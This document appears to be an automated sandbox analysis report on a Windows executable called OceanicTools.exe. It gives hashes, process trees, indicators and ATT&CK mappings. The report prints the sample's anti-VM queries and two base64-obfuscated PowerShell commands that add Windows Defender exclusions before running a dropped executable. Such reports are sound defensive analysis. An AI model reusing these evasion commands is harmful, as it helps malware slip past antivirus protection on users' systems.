ae04f1bc929f6f83a4010f59fcc1f78caea5d198ae3779c7e058608effcc56af

Analysis

max time kernel
120s
max time network
126s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
12-10-2024 23:33

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General

Target

OceanicTools.exe
Size

22.2MB
MD5

f975ef6b34160bff3ba3c8c815f9e77c
SHA1

4b818a41b68f8ed6f6719db14e19f955a60aebe8
SHA256

ae04f1bc929f6f83a4010f59fcc1f78caea5d198ae3779c7e058608effcc56af
SHA512

ba08c564b363affea6c39394955feb327a6c15cde9a5b83806088fcfdb4b4464deb24dcbca0e2cb5f26ae9172d7c8fb94ed58e0a534bf21deb4957363f67a222
SSDEEP

98304:XHE3AU4FiZ0ZXawT/2MMlOLG9ffkTj8cywcAk:U3u0Z0EdM1LGdUjKA

Score

8^/10

execution

Malware Config

Signatures

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
2784	yiprmwjyyxupyzkj.exe

Loads dropped DLL 6 IoCs

pid	Process
2488	OceanicTools.exe
2488	OceanicTools.exe
2164	WerFault.exe
2164	WerFault.exe
2164	WerFault.exe
2164	WerFault.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2684	powershell.exe
2372	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2684	powershell.exe
2372	powershell.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1544	wmic.exe
Token: SeSecurityPrivilege	1544	wmic.exe
Token: SeTakeOwnershipPrivilege	1544	wmic.exe
Token: SeLoadDriverPrivilege	1544	wmic.exe
Token: SeSystemProfilePrivilege	1544	wmic.exe
Token: SeSystemtimePrivilege	1544	wmic.exe
Token: SeProfSingleProcessPrivilege	1544	wmic.exe
Token: SeIncBasePriorityPrivilege	1544	wmic.exe
Token: SeCreatePagefilePrivilege	1544	wmic.exe
Token: SeBackupPrivilege	1544	wmic.exe
Token: SeRestorePrivilege	1544	wmic.exe
Token: SeShutdownPrivilege	1544	wmic.exe
Token: SeDebugPrivilege	1544	wmic.exe
Token: SeSystemEnvironmentPrivilege	1544	wmic.exe
Token: SeRemoteShutdownPrivilege	1544	wmic.exe
Token: SeUndockPrivilege	1544	wmic.exe
Token: SeManageVolumePrivilege	1544	wmic.exe
Token: 33	1544	wmic.exe
Token: 34	1544	wmic.exe
Token: 35	1544	wmic.exe
Token: SeIncreaseQuotaPrivilege	1544	wmic.exe
Token: SeSecurityPrivilege	1544	wmic.exe
Token: SeTakeOwnershipPrivilege	1544	wmic.exe
Token: SeLoadDriverPrivilege	1544	wmic.exe
Token: SeSystemProfilePrivilege	1544	wmic.exe
Token: SeSystemtimePrivilege	1544	wmic.exe
Token: SeProfSingleProcessPrivilege	1544	wmic.exe
Token: SeIncBasePriorityPrivilege	1544	wmic.exe
Token: SeCreatePagefilePrivilege	1544	wmic.exe
Token: SeBackupPrivilege	1544	wmic.exe
Token: SeRestorePrivilege	1544	wmic.exe
Token: SeShutdownPrivilege	1544	wmic.exe
Token: SeDebugPrivilege	1544	wmic.exe
Token: SeSystemEnvironmentPrivilege	1544	wmic.exe
Token: SeRemoteShutdownPrivilege	1544	wmic.exe
Token: SeUndockPrivilege	1544	wmic.exe
Token: SeManageVolumePrivilege	1544	wmic.exe
Token: 33	1544	wmic.exe
Token: 34	1544	wmic.exe
Token: 35	1544	wmic.exe
Token: SeDebugPrivilege	2684	powershell.exe
Token: SeDebugPrivilege	2372	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2488 wrote to memory of 1628	2488	OceanicTools.exe	32
PID 2488 wrote to memory of 1628	2488	OceanicTools.exe	32
PID 2488 wrote to memory of 1628	2488	OceanicTools.exe	32
PID 2488 wrote to memory of 1544	2488	OceanicTools.exe	33
PID 2488 wrote to memory of 1544	2488	OceanicTools.exe	33
PID 2488 wrote to memory of 1544	2488	OceanicTools.exe	33
PID 2488 wrote to memory of 2684	2488	OceanicTools.exe	35
PID 2488 wrote to memory of 2684	2488	OceanicTools.exe	35
PID 2488 wrote to memory of 2684	2488	OceanicTools.exe	35
PID 2488 wrote to memory of 2372	2488	OceanicTools.exe	37
PID 2488 wrote to memory of 2372	2488	OceanicTools.exe	37
PID 2488 wrote to memory of 2372	2488	OceanicTools.exe	37
PID 2488 wrote to memory of 2784	2488	OceanicTools.exe	39
PID 2488 wrote to memory of 2784	2488	OceanicTools.exe	39
PID 2488 wrote to memory of 2784	2488	OceanicTools.exe	39
PID 2784 wrote to memory of 2164	2784	yiprmwjyyxupyzkj.exe	40
PID 2784 wrote to memory of 2164	2784	yiprmwjyyxupyzkj.exe	40
PID 2784 wrote to memory of 2164	2784	yiprmwjyyxupyzkj.exe	40

C:\Users\Admin\AppData\Local\Temp\OceanicTools.exe
"C:\Users\Admin\AppData\Local\Temp\OceanicTools.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2488
- C:\Windows\system32\reg.exe
  "reg" "query" "SYSTEM\CurrentControlSet\Services\Disk\Enum"
  2⤵
  PID:1628
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" "computersystem" "get" "manufacturer"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcQWRtaW5cdHdmcWV2bW5rZ3l1am1tbCI=')); Invoke-Expression $cmd"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" "-Command" "$cmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAiQzpcVXNlcnNcQWRtaW5cdHdmcWV2bW5rZ3l1am1tbFx5aXBybXdqeXl4dXB5emtqLmV4ZSI=')); Invoke-Expression $cmd"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2372
- C:\Users\Admin\twfqevmnkgyujmml\yiprmwjyyxupyzkj.exe
  "C:\Users\Admin\twfqevmnkgyujmml\yiprmwjyyxupyzkj.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 2784 -s 28
    3⤵
    - Loads dropped DLL
    PID:2164

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
94fefadbb94c35240785b4603b727c1e

SHA1
2052e22167015deae540e1c8fb11484519e2064b

SHA256
149914ab24b88dd7c591bfad8678f0c445a5d8326352e9a9a2d275af518c5c20

SHA512
15e520dafd78dd941b24619ea1adc5b049417696056f3919943773a39a50054251ad04d84760933e99d9e4e77a6a5743c5a712030a2a389071aa419d9e0a67a0

Download Submit
\Users\Admin\twfqevmnkgyujmml\yiprmwjyyxupyzkj.exe

Filesize
2.6MB

MD5
0c01cfc0685211b3c655c7a9526f1849

SHA1
864d23804b6e3c98efd1b56863a484b505ddf40b

SHA256
8d6ee227c57e825bc978db47c7587d46e7df06e3656d493486ee26b1426c98a6

SHA512
6024a41f371d77a82608c0e8ff314853404a50decb77838ace61c43a72ef954f4a227849b85e2aa3ef0749120e8361f13145006652596fb22b2f972bf7585719

Download Submit
memory/2372-12-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/2372-13-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2684-4-0x000000001B4D0000-0x000000001B7B2000-memory.dmp

Filesize
2.9MB

Download
memory/2684-5-0x0000000002690000-0x0000000002698000-memory.dmp

Filesize
32KB

Download
memory/2784-24-0x000000013F190000-0x000000013F436000-memory.dmp

Filesize
2.6MB

Download